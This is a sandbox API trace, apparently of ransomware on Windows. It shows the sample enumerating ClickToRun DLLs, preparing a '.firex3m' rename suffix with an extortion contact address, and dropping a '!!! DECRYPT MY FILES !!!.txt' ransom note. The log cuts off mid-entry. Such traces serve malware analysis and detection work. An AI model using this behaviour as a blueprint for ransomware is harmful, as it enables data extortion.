[0105.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebddac, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0105.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdda8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0105.541] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeb14 | out: lpFindFileData=0x6ebeb14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xbf6c42af, dwReserved1=0x1d32744, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5280 [0105.541] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0105.541] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0107.859] GetProcessHeap () returned 0x630000 [0107.859] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b12b0 [0107.859] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x4b0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1 [0107.859] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll", len=0x54 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 1 [0107.859] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll") returned 0x54 [0107.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.859] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.859] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.859] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x2052d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIntegration.dll", cAlternateFileName="APPVIN~1.DLL")) returned 1 [0107.860] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll", len=0x4d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 1 [0107.860] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll") returned 0x4d [0107.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.860] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.860] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.860] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a59305, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a59305, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x726d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvApi.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0107.860] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll", len=0x48 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 1 [0107.860] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll") returned 0x48 [0107.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.860] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.860] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.861] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1b7300, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x60ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0107.861] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll", len=0x4d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 1 [0107.861] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll") returned 0x4d [0107.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.861] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.861] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.861] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5e67000, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x73aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0107.861] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll", len=0x4d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 1 [0107.861] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll") returned 0x4d [0107.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.862] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.862] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.862] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x336d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvStreamingManager.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0107.862] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll", len=0x55 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 1 [0107.862] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll", cchLength=0x55 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll") returned 0x55 [0107.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.862] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.862] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.862] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1566d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystemController.dll", cAlternateFileName="AP213A~1.DLL")) returned 1 [0107.863] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll", len=0x58 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 1 [0107.863] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll") returned 0x58 [0107.863] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.863] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.863] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.863] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.863] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18d60800, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="AP3342~1.DLL")) returned 1 [0107.863] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll", len=0x51 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 1 [0107.863] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll") returned 0x51 [0107.863] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.863] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.863] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.863] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.864] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80acba0b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80acba0b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbbdc5100, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x22e0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="AP4400~1.DLL")) returned 1 [0107.864] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll", len=0x51 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 1 [0107.864] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") returned 0x51 [0107.864] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.864] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.864] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.864] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.864] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x8a8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvVirtualization.dll", cAlternateFileName="AP485B~1.DLL")) returned 1 [0107.864] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll", len=0x53 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 1 [0107.864] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll") returned 0x53 [0107.864] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.864] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.864] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.865] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.865] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x12cad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1 [0107.865] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll", len=0x4a | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 1 [0107.865] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll") returned 0x4a [0107.865] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.865] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.865] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.865] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.865] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xe76d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOrchestration.dll", cAlternateFileName="APPVOR~1.DLL")) returned 1 [0107.865] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll", len=0x4f | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 1 [0107.865] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll") returned 0x4f [0107.865] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.866] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.866] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.866] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.866] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x13c4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVPolicy.dll", cAlternateFileName="APPVPO~1.DLL")) returned 1 [0107.866] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft 